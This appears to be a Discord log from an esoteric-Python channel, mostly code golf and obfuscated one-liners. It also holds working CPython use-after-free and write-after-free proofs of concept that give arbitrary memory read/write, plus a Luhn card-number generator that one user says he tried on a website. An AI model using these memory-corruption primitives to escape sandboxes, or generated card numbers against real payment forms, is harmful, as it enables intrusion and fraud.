_[~~([]!=[])](_[[]==[]](_[__:=(~~([]==[])+([]==[]))](_[___:=~~([]==[])+([]==[])+~~([]==[])]))+_[[]==[]](_[__:=(~~([]==[])+([]==[]))](_[___+(~~([]==[]))]))+_[[]==[]](_[__:=(~~([]==[])+([]==[]))](_[___+__]))+_[[]==[]](_[__:=(~~([]==[])+([]==[]))](_[___+__+([]==[])]))+_[[]==[]](_[__:=(~~([]==[])+([]==[]))](_[___*__+(__//__)])))```
night quarryBOT
#

@sick hound :white_check_mark: Your eval job has completed with return code 0.

admin
quartz wave
#

hardcore

quartz wave
#

!e ```py
a = ([] == []) + ([{}] != [])
b = ~~([] == [])
c = (([] == []) + ([{}] != []) + (a << a) + ~~([] == []) + a + a + a / a) * (a + a + a) + a / a
d = [{c}] == [{b}]
e = ([{c}] == [{b}]) + c + d + d + d + d + d + d + d + d + d + d + a / a + a
f = b + a
b = a - a
a = [print, chr, int, (([] == []) + ([{}] != []) + (a << a) + ~~([] == []) + a + a + a / a) * (a + a + a) + a / a, ([{c}] == [{b}]) + c + d + d + d + d + d + d + d + d + d + d + a / a + a, (b + a) * f + e, (b + a + a + a + a + a + a + a + a + a + a + a + a) * a ** a + b + a + b + b, (a + a + a + a + a << f >> b << a << a // a % a % a) * (a - a) + a + b + e + a + a + a + b + a]
b = ~~([] == []) + ([] == [])
c = ~~([] == []) + ([] == []) + ~~([] == [])
b = ([] == []) + ([] == [])
b = ([] == []) + ([] == [])
b = ([] == []) + ([] == [])
b = ([] == []) + ([] == [])
[print, chr, int, (([] == []) + ([{}] != []) + (a << a) + ([] == []) + a + a + a / a) * (a + a + a) + a / a, ([{c}] == [{b}]) + c + d + d + d + d + d + d + d + d + d + d + a / a + a, (b + a) * f + e, (b + a + a + a + a + a + a + a + a + a + a + a + a) * a ** a + b + a + b + b, (a + a + a + a + a << f >> b << a << a // a % a % a) * (a - a) + a + b + e + a + a + a + b + a][([] != [])](a[[] == []](None, a[
([] == []) + ([] == [])](a[
([] == []) + ([] == []) + ([] == [])])) + a[[] == []](None, a[([] == []) + ([] == [])](a[c + ([] == [])])) + a[[] == []](None, a[([] == []) + ([] == [])](a[c + b])) + a[[] == []](None, a[
([] == []) + ([] == [])](a[c + b + ([] == [])])) + a[[] == []](None, a[
([] == []) + ([] == [])](a[c * b + b // b])))

night quarryBOT
#

@quartz wave :x: Your eval job has completed with return code 1.

001 | Traceback (most recent call last):
002 |   File "<string>", line 15, in <module>
003 | TypeError: unsupported operand type(s) for <<: 'list' and 'list'
quartz wave
#

ok

frozen hazel
#

how does that work

#

what concepts do I need to learn in order to understand that?

sick hound
#

:=

frozen hazel
#

ik it

#

but tf is all that symbol soup

#

oh wait

#

nvm

sick hound
frozen hazel
upbeat sonnet
#
def capitalize(s):return[(x:=''.join([n%2==0 and i.upper() or i for n,i in enumerate(s)])),x.swapcase()]
# can yall golf this```
quartz wave
upbeat sonnet
quartz wave
dense nova
#

!e

cap = lambda s: ''.join([chr(ord(i) - 32), i][i.isupper()] for i in s)
print(cap('hEllO'))
night quarryBOT
#

@dense nova :white_check_mark: Your eval job has completed with return code 0.

HELLO
quartz wave
night quarryBOT
#

@quartz wave :white_check_mark: Your eval job has completed with return code 0.

HELLO
sick hound
#

@odd moat wdym

odd moat
#

?

dense nova
quartz wave
pastel sparrow
upbeat sonnet
upbeat sonnet
#

but

#
print('HELLO')```
sick hound
upbeat sonnet
#

i did

frozen hazel
#

!e
m = 2
n = 2
for i in range(m):
for j in range(n):
print(i,j)

night quarryBOT
#

@frozen hazel :white_check_mark: Your eval job has completed with return code 0.

001 | 0 0
002 | 0 1
003 | 1 0
004 | 1 1
frozen hazel
#

!e
m = 2
n = 2
for k in range(m*n):
print(k//n,k%n)

night quarryBOT
#

@frozen hazel :white_check_mark: Your eval job has completed with return code 0.

001 | 0 0
002 | 0 1
003 | 1 0
004 | 1 1
frozen hazel
#

hm

wheat river
#

!e

print(*sorted([*zip(a:=[*range(2)]*2,a[1::2]),*zip(a,a[::2])]),sep='\n')
night quarryBOT
#

@wheat river :white_check_mark: Your eval job has completed with return code 0.

001 | (0, 0)
002 | (0, 1)
003 | (1, 0)
004 | (1, 1)
wheat river
#

!e

print(*zip((a:=[*range(2)]*2)[::2],a),*zip(a[1::2],a),sep='\n')```
#

!e

for i in range(4):print(i>>1,i&1)
upbeat sonnet
#

oh

shell brook
#

Generates a random number that fulfills luhn’s algo


while True:print(n)or quit()if(n:=__import__("random").randrange(10**15,10**16))and not sum([int(n)*(2 if i&1 else 1)-(9 if int(n)*2>9 and i&1 else 0) for i,n in enumerate(str(n)[::-1])])%10 else 0
upbeat sonnet
#

also what is the time complexity of this?

shell brook
#

No clue, bc it uses random nums till it gens it

upbeat sonnet
#

lmao

shell brook
#

Could be first try, could never happen

haughty pagoda
#

time complexity is prolly related to the distribution randrange uses internally for prng

shell brook
#

Ya prob

#

Other than that, all it essentially does is sum a 16 digit list and mod it

shell brook
#

I havent messed w generators much

haughty pagoda
#

while true in a lambda and a yield?

shell brook
#

🤷‍♂️

upbeat sonnet
shell brook
#

Idk how to make a loop until something happens wo a colon

#

Maybe could do smth w a list comp

upbeat sonnet
#

is it even possible to golf this- py def print_array(arr):return','.join(map(str,arr))

#

wait deh

#

!e py print(f"len def: {len('def print_array(arr):return'):.2f}") print(f"len lambda: {len('print_array=lambda arr:':.2f}")

night quarryBOT
#

@upbeat sonnet :x: Your eval job has completed with return code 1.

001 |   File "<string>", line 2
002 |     print(f"len lambda: {len('print_array=lambda arr:':.2f}")
003 |                                                             ^
004 | SyntaxError: f-string: closing parenthesis '}' does not match opening parenthesis '('
old socket
#

!e ```py
print(*['a','b'],sep=',')

night quarryBOT
#

@old socket :white_check_mark: Your eval job has completed with return code 0.

a,b
#

@upbeat sonnet :white_check_mark: Your eval job has completed with return code 0.

001 | len def: 27.00
002 | len lambda: 23.00
upbeat sonnet
#

lambda does golf

#

nice to know

shell brook
astral rover
#

Don't you still need the return on the lambda?

old socket
#

No

#

!e ```py
print((lambda:"foo")())

night quarryBOT
#

@old socket :white_check_mark: Your eval job has completed with return code 0.

foo
astral rover
#

Oh I'm clearly losing it lol

old socket
#

You couldn't even put return in a lambda if you wanted to, it would be invalid syntax

shell brook
#

I think 223 anyway

old socket
shell brook
#

Ah, alr

old socket
#

The last for can also be moved a space back

shell brook
#

O ye mb

#

222 now pog

old socket
#

222?

shell brook
#

Ihdk lol

old socket
#

!e ```py
print(len("[print(n)or quit()for _ in iter(int,1)if((n:=import('random').randrange(1015,1016))and not sum([int(n)*(2 if i&1 else 1)-(9 if int(n)*2>9 and i&1 else 0)for i,n in enumerate(str(n)[::-1])])%10)]"))

night quarryBOT
#

@old socket :white_check_mark: Your eval job has completed with return code 0.

202
shell brook
#

Tried putting it in a str and i think it was 223

shell brook
#

Ig that shaved off like 20

old socket
#

Yea that was a huge chunk

#

It should be doing the same purpose as well

shell brook
#

I think some can be shortened because i do the i&1 check twice

#

Could prob get sub 200

old socket
#

Probably

haughty pagoda
#

you can remove gaps between keywords and numbers

#

9if int(n)*2>9and i&1else 0

#

remove space between else 0) for i,n in ... the for and )

#

probably remove the [] inside sum(...)

#

change 10**15,10**16 to 1e15,1e16

shell brook
#

182 :0

[print(n)or quit()for _ in iter(int,1)if((n:=__import__('random').randrange(10**15,10**16))and not sum([x*2-9 if i&1 else x for i,x in enumerate([int(q)for q in str(n)][::-1])])%10)]
old socket
#

!e ```py
0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and(0and()))))))))))))))))))))))))))))))))))))))))))))

night quarryBOT
#

@old socket :warning: Your eval job has completed with return code 0.

[No output]
haughty pagoda
#

can get it down to 157

#
>>> [quit(str(n))for _ in iter(int,1)if((n:=__import__('random').randrange(1e15,1e16))&~sum([x*2-9if i&1else x for i,x in enumerate(map(int,str(n)[::-1]))])%10)]
4979715390488741
#

not sure about the and not <-> &~ decision

#

but it works for normal boolean expressions

quartz wave
#

i have no idea about what this is but ok

inland bobcat
quartz wave
shell brook
#

Whole python community coming together to make a credit card generator, you love to see it 😂

bitter belfry
#

Lol

quartz wave
bitter belfry
#

It gens a valid cc number

#

Using luhn algorithm

quartz wave
#

ok

shell brook
#

It doesnt actually mean much tho, obv the numbers arent actually linked to any sort of account. The algo is mainly just a way for people to check if they made a mistake typing in a number

#

It’s also used on barcode scanners iirc

bitter belfry
#

I used it on a site and it worked

#

👀

#

So don’t use it tho

#

I had permission of owner

shell brook
#

Yea, if it fails the check then i dont think a request will even be sent to check if the other credentials are right. Not sure tho

bitter belfry
shell brook
#

👀

bitter belfry
#

He didn’t rlly get to that part yet

shell brook
#

Lol

bitter belfry
#

Lol

short crag
#

Figured it out, nvm

rich hound
#

haha

rapid sparrow
#

@bronze merlin show your tkinter program

bronze merlin
#

ahh

#

where is it

rapid sparrow
#

idk ❔ ❔

bronze merlin
#
any((globals().__setitem__(k,v)) for k,v in __import__('tkinter').__dict__.items()),(window:=Tk()),(x:=BooleanVar()),(window.geometry('500x500')),((label:=Label(window,text="Enter your delay for the auto clicker (second)",font=('Ubuntu',15,'bold'))).pack(side='top')),(y:=StringVar()),(entry:=(Entry(window,font=('Aerial',15),textvariable=y)).pack(padx=50,pady=25)), (checkbutt:=Checkbutton(window,variable=x,text="hello this is checkbox",font=("Aerial",15),onvalue=True,offvalue=False,command=(checkon:=(lambda: [((print("Hello world")),(__import__("time").sleep(int(y.get())))) for _ in (iter(int, 1) if x.get() else [])])))).pack(),(button:=Button(window,text='apply',font=("Aerial",15),command=(lambda: (y:=entry.get())))).pack(),window.mainloop()
#

this

#

maybe

rapid sparrow
#

👍

#

10/10 💯

#

i like the variation on from tkinter import *

#

what about putting the whole thing in a lambda

#
(tkprog := lambda : (any((globals().__setitem__(k,v)) for k,v in __import__('tkinter').__dict__.items()),(window:=Tk()),(x:=BooleanVar()),(window.geometry('500x500')),((label:=Label(window,text="Enter your delay for the auto clicker (second)",font=('Ubuntu',15,'bold'))).pack(side='top')),(y:=StringVar()),(entry:=(Entry(window,font=('Aerial',15),textvariable=y)).pack(padx=50,pady=25)), (checkbutt:=Checkbutton(window,variable=x,text="hello this is checkbox",font=("Aerial",15),onvalue=True,offvalue=False,command=(checkon:=(lambda: [((print("Hello world")),(__import__("time").sleep(int(y.get())))) for _ in (iter(int, 1) if x.get() else [])])))).pack(),(button:=Button(window,text='apply',font=("Aerial",15),command=(lambda: (y:=entry.get())))).pack(),window.mainloop() 
))()```
#

is that an infinite loop in there too 👀

#

the best part is once you tell it to start the program becomes unresponsive

bronze merlin
#

brrruh

#

yes there is

#

it also broke the program

#

i need to use thread lol

humble rune
sick hound
#

!e py print( [[[__import__][0]][0],[[chr][0]][0],[[print][0]][0],2][1](72) + [[[__import__][0]][0],[[chr][0]][0],[[print][0]][0],2][1](101) + [[[__import__][0]][0],[[chr][0]][0],[[print][0]][0],2][1](108) + [[[__import__][0]][0],[[chr][0]][0],[[print][0]][0],2][1](108) + [[[__import__][0]][0],[[chr][0]][0],[[print][0]][0],2][1](111))

night quarryBOT
#

@sick hound :white_check_mark: Your eval job has completed with return code 0.

Hello
sick hound
#

not really esoteric, just came to my mind

humble rune
night quarryBOT
#

@humble rune :white_check_mark: Your eval job has completed with return code 0.

Hello
sick hound
night quarryBOT
#

@sick hound :white_check_mark: Your eval job has completed with return code 0.

Hello
rapid sparrow
humble rune
#

small code good

rapid sparrow
#

"whitespace" is your name .. you have to live up to that

humble rune
upbeat sonnet
#
def multiplication_table(size):return [list(map(lambda x:x*i,range(1,size+1))) for i in range(1,size+1)]```
#

lmao

#

how do i fix this py def get_even_numbers(arr): return list(filter(lambda x:[x&1],arr))

#

im trying to use bitwise and

plucky plover
#

!e

get_even_numbers=lambda a:[*filter(lambda x:x&1==0,a)]
print(get_even_numbers(range(10)))
night quarryBOT
#

@plucky plover :white_check_mark: Your eval job has completed with return code 0.

[0, 2, 4, 6, 8]
upbeat sonnet
#

thank

mild torrent
#

what is the most complicated code whose sole purpose is to print the string "banana" to the console and nothing else

languid hare
#

!e

print('a'.join(('b',f"{eval('-'.join(['1e500']*2))}",str())))
night quarryBOT
#

@languid hare :white_check_mark: Your eval job has completed with return code 0.

banana
languid hare
#

classic js banana

royal whale
maiden blaze
#

does the opposite thing, but f=lambda a:[*filter(1 .__and__,a)]

rugged sparrow
#

!e ```py

Use After Free in io.BufferedReader

io = open.self

class UAF(io._RawIOBase):
def readinto(self, buf):
self.buf = buf.cast('P')
def readable(self):
return True

u = UAF()
b = io.BufferedReader(u, 56)
b.read(1) # store view of buffer on u (calls readinto)

use __init__ to free internal buffer instead of relying on GC

u.view = b.init(u) or bytearray()

at this point, if successful, u.buf is the memory that backs u.view

set size of u.view to the max value for PTR_SIZE

u.buf[2] = (pow(2, tuple.itemsize * 8) // 2) - 1
u.memory = memoryview(u.view)

def load_addr(addr):
T = (None,)
offset = id(T) + tuple.basicsize
container = u.memory[offset :offset + tuple.itemsize].cast('P')
try:
container[0] = addr
return T[0]
finally:
container[0] = id(None)

print(load_addr(id(1)))```

night quarryBOT
#

@rugged sparrow :white_check_mark: Your eval job has completed with return code 0.

1
rugged sparrow
#

https://pwn.win/2022/05/11/python-buffered-reader.html found this article on it yesterday and wanted to write my own implementation

languid hare
#

reading "use after free" in python feels illegal

#

💀

rugged sparrow
#

haha

#

its fun to be able to get full mem r/w without needing a modified code object tho

languid hare
#

!e

import io

class File(io.RawIOBase):
    def readinto(self, buf):
        global view
        view = buf
    def readable(self):
        return True
    
f = io.BufferedReader(File())
f.read(1)                       # get view of buffer used by BufferedReader
del f                           # deallocate buffer
view = view.cast('P')
L = [None] * len(view)          # create list whose array has same size
                                # (this will probably coincide with view)
view[0] = 0                     # overwrite first item with NULL
print(L[0])     
night quarryBOT
#

@languid hare :warning: Your eval job has completed with return code 139 (SIGSEGV).

[No output]
languid hare
#

oh wow

wheat river
night quarryBOT
#

@wheat river :white_check_mark: Your eval job has completed with return code 0.

[0, 2, 4, 6, 8]
wheat river
#

f=lambda a:[x for x in a if~x&1] this is shorter

plucky plover
#

I just wanted to make it longer for extra esotericity

glad moss
#

!e

for i in range(4):
  print(~i) 
  print(~i%1)


night quarryBOT
rugged sparrow
#

!e @languid hare another one lol ```py

POC Exploit for Write After Free

https://github.com/python/cpython/issues/91153

to_write_after_free = bytearray(bytearray.basicsize)
class sneaky:
def index(self):
global to_corrupt_ob_exports, to_uaf
to_write_after_free.clear()
to_corrupt_ob_exports = bytearray(bytearray.basicsize)
to_uaf = memoryview(to_corrupt_ob_exports)
return 0

to_write_after_free[-8] = sneaky()
to_occupy_uaf = to_corrupt_ob_exports.clear() or bytearray()

view_backing = to_uaf.cast('P')
view = to_occupy_uaf

view_backing[2] = (pow(2, tuple.itemsize * 8) // 2) - 1
memory = memoryview(view)

def getmem(addr, size, fmt='c'):
return memory[addr: addr + size].cast(fmt)

def load_addr(addr):
T = (None,)
offset = id(T) + tuple.basicsize
container = getmem(id(T) + tuple.basicsize, tuple.itemsize, 'P')
try:
container[0] = addr
return T[0]
finally:
container[0] = id(None)

print(load_addr(id(1)))```

night quarryBOT
#

@rugged sparrow :white_check_mark: Your eval job has completed with return code 0.

1
rugged sparrow
#

to_corrupt_ob_exports gets allocated into the space freed by to_write_after_free.clear(), letting me write a zero into its exporter field (despite me exporting it as to_uaf). That lets me trigger a UAF by clearing to_corrupt_ob_exports which leaves to_uaf pointing to the memory that was left behind. Then its just a matter of allocating a bytearray into that space and modifying its size using to_uaf

#

@radiant anchor ^ some more memory corruption on python, this time without building custom code objects

radiant anchor
#

yup, saw that one (assuming it's the same one), very cool

#

btw I'm trying to compile a list of known cpython memory safety issues - I remember you mentioned another one a while back, what was it?

rugged sparrow
#

I posted 2 one is the one I saw on Twitter the other I found on the bug tracker and I don't think has a public poc yet

rugged sparrow
#

Where LOAD_DEREF didn't check if the object was actually a closure

radiant anchor
#

ah yeah that sounds like it

#

do you have a link?

rugged sparrow
#

There's a doc I wrote up on my computer if you ping me later I can put it on GitHub and send you the link

radiant anchor
#

cool thanks

rugged sparrow
radiant anchor
#

In that one that was tweeted, they noted that id() is the only thing that'd get picked up by audit hooks, it would be fun to find an infoleak bug that means you don't even need id

rugged sparrow
#

You can use repr(object) on cpython

radiant anchor
#

oh lol

rugged sparrow
#

!e print(object.repr(1)), print(hex(id(1)))

night quarryBOT
#

@rugged sparrow :white_check_mark: Your eval job has completed with return code 0.

001 | <int object at 0x7f486e3fc0f0>
002 | 0x7f486e3fc0f0
rugged sparrow
#

You can just parse the address out of the repr lol

#

I also just realized that my second exploit doesn't need id until I implemented load_addr

rapid sparrow
#

lol that's funny

rugged sparrow
rapid sparrow
#

is that hec string any length or is it padded out to even size or anything ? 🤔

rugged sparrow
#

I think any length, but you can use slicing + .split to get it out pretty easily

rapid sparrow
#

wait why does repr do that .. oh it's object.__repr__

rugged sparrow
#

!e ```py
def myid(obj):
return int(object.repr(obj).split()[-1][:-1],16)

print(myid(1) == id(1))```

night quarryBOT
#

@rugged sparrow :white_check_mark: Your eval job has completed with return code 0.

True
radiant anchor
#

TIL int(x, 16) allows an 0x prefix

rapid sparrow
#

why does object have a __text_signature__ but other types don't ?

#

oh some do ? just not int and str

#

type doesn't either even though it can be called 2 ways

#

!e

from inspect import *
print(signature(complex))
print(signature(float))
print(signature(int))```
night quarryBOT
#

@rapid sparrow :x: Your eval job has completed with return code 1.

001 | (real=0, imag=0)
002 | (x=0, /)
003 | Traceback (most recent call last):
004 |   File "<string>", line 4, in <module>
005 |   File "/usr/local/lib/python3.10/inspect.py", line 3247, in signature
006 |     return Signature.from_callable(obj, follow_wrapped=follow_wrapped,
007 |   File "/usr/local/lib/python3.10/inspect.py", line 2995, in from_callable
008 |     return _signature_from_callable(obj, sigcls=cls,
009 |   File "/usr/local/lib/python3.10/inspect.py", line 2529, in _signature_from_callable
010 |     raise ValueError(
011 | ValueError: no signature found for builtin type <class 'int'>
wheat river
#
(d:=type('',(Exception,),{}),s:=setattr,ttt:=type('',(),{'row':3,'board':(b:=[[*range(i,i+3)] for i in range(1,10,3)]),'winner':None,'turn':{1:'x',0:'o'},'mapping':{b[i][j]:[i,j]for j in range(3)for i in range(3)}})(),s(ttt,'print_board',lambda:[print('|'.join(f"{i:^{ttt.row}}"for i in row),end=f'\n{"+".join(["-"*ttt.row]*ttt.row)}\n'if row!=ttt.board[-1]else'\n')for row in ttt.board]and None),s(ttt,'check_board',lambda:exec("[s(ttt,'winner',[*w][0])for i in range(3)if any(len(w:=set(i))==1for i in [[ttt.board[i][j]for j in range(3)],[ttt.board[j][i]for j in range(3)]])]")or exec("if len(w:={ttt.board[i][i]for i in range(3)})==1or len(w:={ttt.board[2-i][i]for i in range(3)})==1:ttt.winner=[*w][0]")),s(ttt,'value',lambda t:int(input(f"{t}'s turn: "))),s(ttt,'insert',lambda: [exec("if not ttt.mapping:raise d"),t:=ttt.turn[1],exec('try:''b=1;v=ttt.value(t);x,y=ttt.mapping[v];del ttt.mapping[v];ttt.turn[1],ttt.turn[0]=ttt.turn[0],ttt.turn[1];ttt.board[x][y]=t;\nexcept(KeyError,ValueError):b=0;print("invalid");'),ttt.check_board()]and None),s(ttt,'start',lambda: exec("while not ttt.winner:\n\ttry:ttt.print_board();ttt.insert();\n\texcept d:ttt.print_board();print('draw');break\nelse:ttt.print_board();print(f'{ttt.winner} won the game!')")),ttt.start())
#

god damn the syntax highlighter gave up

#

this is a one liner tic tac toe

#

took me like a solid 1hr 30mins to make

rugged sparrow
#

Nice

#

Now try to do it without eval/exec if you want another challenge

#

@wheat river if you attempt, feel free to ping me if you want tips/hints

wheat river
sick hound
royal whale
#

Here's a one-line rock-paper-scissors game I just made. Any possible golfs?

while 1:(lambda:(print("1 won")if((a:=input(),b:=input())[0]=="rock"and b=="scissors")or(a=="paper"and b=="rock")or(a=="scissors"and b=="rock")else print("tie")if a==b else print("invalid")if(a not in["paper","rock","scissors"]or b not in["paper","rock","scissors"])else print("2 won")))()```
hazy bloom
royal whale
#

I generally don't use that, it's not as legit

hazy bloom
#
R,P,S=("rock","paper","scissors")
#

would make it quite shorter

royal whale
#

Ok cool thanks!

hazy bloom
#
(lambda R,P,S:while 1:(lambda:(print("1 won")if((a:=input(),b:=input())[0]==R and b==P)or(a==P and b==R)or(a==S and b==R)else print("tie")if a==b else print("invalid")if(a not in[P,R,S]or b not in[P,R,S])else print("2 won")))())("rock","paper","schissors")
#

also, the (a==S and b==R) is like (a,b)==(S,R)

royal whale
#

Ok thx

quartz wave
hazy bloom
#
(lambda R,P,S:while 1:(lambda:(print("1 won")if((a:=input(),b:=input())[0]==R and b==P)or(a,b)=(P,R)or(a,b)==(S,R)else print("tie")if a==b else print("invalid")if(a not in[P,R,S]or b not in[P,R,S])else print("2 won")))())("rock","paper","schissors")
#

also, you can replace boolean and by & and boolean or by |

quartz wave
royal whale
hazy bloom
#

😦

royal whale
#

You'd have to do something like this

while 1:(lambda R,P,S:(lambda:(print("1 won")if((a:=input(),b:=input())[0]==R and b==P)or(a==P and b==R)or(a==S and b==R)else print("tie")if a==b else print("invalid")if(a not in[P,R,S]or b not in[P,R,S])else print("2 won")))())("rock","paper","scissors")
royal whale
quartz wave
royal whale
#

actually that's getting nonsensical errors

hazy bloom
royal whale
hazy bloom
#

yeah i had them

royal whale
#

stuff like that

hazy bloom
#

why did you have a lambda in the first place ?

royal whale
#

🤦‍♂️

#

I just realized I didn't need one

hazy bloom
# royal whale

fixed !```py
while 1:(lambda R,P,S:(print("1 won")if((a:=input(),b:=input())[0]==R and b==S)or(a==P and b==R)or(a==S and b==R)else print("tie")if a==b else print("invalid")if(a not in[P,R,S]or b not in[P,R,S])else print("2 won")))("rock","paper","scissors")

royal whale
#

I get this:

[my input]: scissors
[my input]: paper
[result]: 2 won
hazy bloom
#

mhh

quartz wave
quartz wave
hazy bloom
#
(lambda R,P,S,p:[p("1 won")if(a:=input(),b:=input())in{(R,S),(P,R),(S,P)}else p("tie")if a==b else p("invalid")if(a not in[P,R,S]or b not in[P,R,S])else p("2 won")for _ in iter(int,1)])("rock","paper","scissors",print)
#

when you replace the print with the argument 😂

royal whale
#

wow 😮

#

😂

hazy bloom
#

sure you can do the same with the input :```py
(lambda R,P,S,p,i:[p("1 won")if(a:=i(),b:=i())in{(R,S),(P,R),(S,P)}else p("tie")if a==b else p("invalid")if(a not in[P,R,S]or b not in[P,R,S])else p("2 won")for _ in iter(int,1)])("rock","paper","scissors",print,input)

hazy bloom
# royal whale wow 😮

using de Morgan's law to golf :

(lambda R,P,S,p,i:[p("1 won")if(a:=i(),b:=i())in{(R,S),(P,R),(S,P)}else p("tie")if a==b else p("invalid")if(not a in[P,R,S]and b in[P,R,S])else p("2 won")for _ in iter(int,1)])("rock","paper","scissors",print,input)
rugged sparrow
#

Just needed a way to get max size of a n bit signed value

hazy bloom
royal whale
hazy bloom
#

like, some ascii-art

royal whale
#

oh ok

#

yeah

quartz wave
rugged sparrow
#

I take no responsibility for 2 am code lmao

#

It does the job

royal whale
# hazy bloom make the code look like scissors

Not quite scissors, but it's not horrible:

(lambda             R,P,S,p
  ,i: [p(         "1 won")
    if(a:=       i(),b:=
      i())in    {(R,S),
        (P,R),(S,P)}
         else p("tie"
           )if a==
          b else p(
        "invalid")if(
       not a     in[P,R
    ,S]and b      in[P,R,
    S])else        p("2 won")
  for _              in iter(
int,1)                ])("rock",
"paper",              "scissors",
print,                  input)
hazy bloom
royal whale
hazy bloom
#

there is some wrapping

royal whale
#

Well by all rights you golfed it to that state, I'll give you credit

#

😂

hazy bloom
#

i have to make it more scissors-like

#

the actual ascii-art is bad

quartz wave
#

but yeah there's a problem because the scissors won't cross

hazy bloom
#

now it's pretty good :

 (lambda R,P,S,p,i:                                   [ print("1 won") if (a := i(">"),
b:=              i(">"         ))in{(R,S),(P,R),(S,P)}
   else p("tie")if a==b else p(
                     "invalid")
   if(not a in[P,R,S]and b in[
P,R              ,S])         else p("2 won")for ___
 in iter(int, 1)])(                                 "rock","paper","scissors",print,input)
quartz wave
pastel sparrow
#

it looks horrible on mobile :P

royal whale
hazy bloom
# quartz wave

now it does :

(# a cutting-edge code by OsKaR31415 #)
    (lambda R,p,i                                 ,P,S:[p("1 won")if(a:=
   i(),        b:=i(           ))in{(R,S),(P,R),(S
 ,P)}           else p("tie")if a==b
   else p("invalid")if(   not
   a in [P, R, S] and b   in
 [P,R           ,S])else p("2 won")
  for            _ in          iter(int,1)])("rock"
    ,print,input,                                  "paper", "scissors"))
#

and it also fits the discord screen (at least mine)

#

i know they are a bit too long

#

but hey

quartz wave
#

ok

hazy bloom
frozen hazel
#

it looks horrible on mobile

tender gyro
#

help me

quartz wave
quartz wave
#

challenge: exit(127) without using any names except attribute names, is an expression, is in one line, no imports, no direct using of constants (those stuff that get parsed into ast.Constant pre-optimization)

#

example: ```py
[].class.base.subclasses()[([[]]().class.itemsize).sizeof()].init.globals[[].doc[().class.itemsize+().class.itemsize+([]==[])]+[].doc[().class.itemsize([(),(),(),(),(),(),(),(),(),()].len())+().class.itemsize-([]==[])]+[].doc[().class.itemsize+().class.itemsize+([]==[])]].exit((().class.itemsize+().class.itemsize)*().class.itemsize-([]==[]))

#

can't use that now

granite flax
humble rune
#

any real ones out there who enjoy making their code unreadable even if it doesnt save any characters

#

instead of F stringing i use the %s, %i methods

quartz wave
humble rune
#

nvm i am dumb it has come to my attention i am incorrect

humble rune
wheat river
sick hound
rugged sparrow
#

!e @radiant anchor found another Use After Free. This one is in memoryview.__setitem__ ```py

memoryview Use After Free

uaf_backing = bytearray(bytearray.basicsize)
uaf_view = memoryview(uaf_backing).cast('P')

class sneaky:
def index(self):
global memory_backing
uaf_view.release() # release memoryview (UAF)
# free waf_backing memory and allocate a new bytearray into it
memory_backing = uaf_backing.clear() or bytearray()
return 2 # ob_size idx

by the time this line finishes executing, it writes the max ptr size

into the ob_size slot of memory_backing

uaf_view[sneaky()] = (2 ** (tuple.itemsize * 8) - 1) // 2
memory = memoryview(memory_backing)

T = (None,)
memory[id(T) + tuple.basicsize: id(T) + tuple.basicsize + tuple.itemsize].cast('P')[0] = id(T)
print(T)

night quarryBOT
#

@rugged sparrow :white_check_mark: Your eval job has completed with return code 0.

((...),)
rugged sparrow
#

its way easier to use cause you can write up to 8 bytes

humble rune
sick hound
vestal vector
#

this is like fucking awesome

humble rune
vestal vector
#

Came up with that in seconds like dude, wtf

rapid sparrow
#

!e

from ctypes import *; lppy = cast((c_char_p * 32).from_address(id(False) - 160), py_object); print(id(lppy)); print(repr(lppy.value))```
night quarryBOT
#

@rapid sparrow :x: Your eval job has completed with return code 139 (SIGSEGV).

139984196616000
rapid sparrow
#

the message I get is a little bit funnier

free(): invalid pointer
zsh: abort (core dumped)  python3.9 -c```
sick hound
rapid sparrow
#

have you guys ever seen this error

#

wtf

#

!e
import shelve; from ctypes import *; lppy= cast((c_char * 8).from_address(id([]) - 24), py_object); x = lppy; import inspect; print(dir(lppy.value))

night quarryBOT
#

@rapid sparrow :x: Your eval job has completed with return code 1.

001 | Traceback (most recent call last):
002 |   File "<string>", line 1, in <module>
003 | TypeError: object does not provide __dir__
rapid sparrow
#

how would you even get this error normally